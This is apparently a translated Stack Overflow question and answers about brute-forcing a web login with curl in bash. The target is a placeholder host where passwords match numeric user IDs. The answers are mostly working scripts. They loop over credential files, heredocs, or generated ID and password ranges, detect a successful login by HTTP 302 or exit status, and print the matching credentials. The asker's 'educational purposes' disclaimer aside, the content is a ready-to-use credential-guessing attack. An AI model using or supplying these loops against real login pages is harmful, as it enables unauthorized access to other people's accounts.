如何卷曲强制执行不安全登录的请求

时间:2014-02-19 04:57:53

标签: bash curl

声明:

这仅用于教育目的,显然login模块旨在强制执行。

问题:

我使用与user类似的pass登录。 user是这样的数字:

1234001

我可以使用如下的单个请求登录:

curl -iL --data-urlencode  user="1234001" --data-urlencode password="1234001" http://foo.dev/login

现在的问题是,我如何循环,假设我收到302代码,如果成功

url="http://foo.dev/login"
for i in 300; do
    curl -iL --data-urlencode  user="1234001" --data-urlencode password="1234001" http://foo.dev/login
 // if????
done

3 个答案:

答案 0 :(得分:1)

首先:

cat input.txt
user1 pass1
user2 pass2
 .      .
 .      .
 .      .

然后尝试:

#!/bin/bash
if [ $# -ne 1 ];then
   echo "Usage: ./script <input-file>"
   exit 1
fi

while read user pass; do
curl -iL --fail --data-urlencode  user="$user" --data-urlencode password="$pass" http://foo.dev/login 1>/dev/null 2>&1
   if [ $? -eq 0 ];then
      echo "ok"
   elif [ $? -ne 0 ]; then
      echo "failed"
   fi
done < $1

同样HEREDOC解决方案:

#!/bin/bash  
    while read user pass; do
    curl -iL --fail --data-urlencode  user="$user" --data-urlencode password="$pass" http://foo.dev/login 1>/dev/null 2>&1
       if [ $? -eq 0 ];then
          echo "ok"
       elif [ $? -ne 0 ]; then
          echo "failed"
       fi
    done <<__HERE
    user1 pass1
    user2 pass2
     .      .
     .      .
     .      .
    __HERE

答案 1 :(得分:1)

我建议稍微更改curl调用:

url="http://foo.dev/login"
for user in $(userlist_gen); do
  for pass in $(passlist_gen); do
    http_code=$(curl -L --data-urlencode  user="$user" --data-urlencode password="$pass" "$url" -w '%{http_code}' -o /dev/null -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
  done
done
  • -o /dev/null将返回的网站打印到/dev/null,基本上将其丢弃
  • 输出转到-i 时不需要
  • /dev/null
  • -s会抑制所有错误消息(可选,但禁用进度输出)
  • -w '%{http_code}'在完成操作后将HTTP响应代码输出到stdout。

此代码将遍历由userlist_gen生成的所有用户ID(可能使用seq 1234001 1234999),然后针对passlist_gen生成的密码为每个用户循环。 -o /dev/null-w '%{http_code}'仅将HTTP响应代码保留为stdout上的输出,该输出存储在$http_code中。然后将其与302进行相等性比较,并在成功时退出两个循环。 (如果您想尝试所有用户,请使用break代替break 2

答案 2 :(得分:0)

您可以通过以下方式检查返回值:

curl -iL --data-urlencode  user="1234001" --data-urlencode password="1234001" http://foo.dev/login; ret=$?

echo "return value is $ret"
if [ $ret != 0 ];then
   echo "call failed"
fi

您需要将上面的代码放在while循环中。 $?存储最后一个命令的退出状态。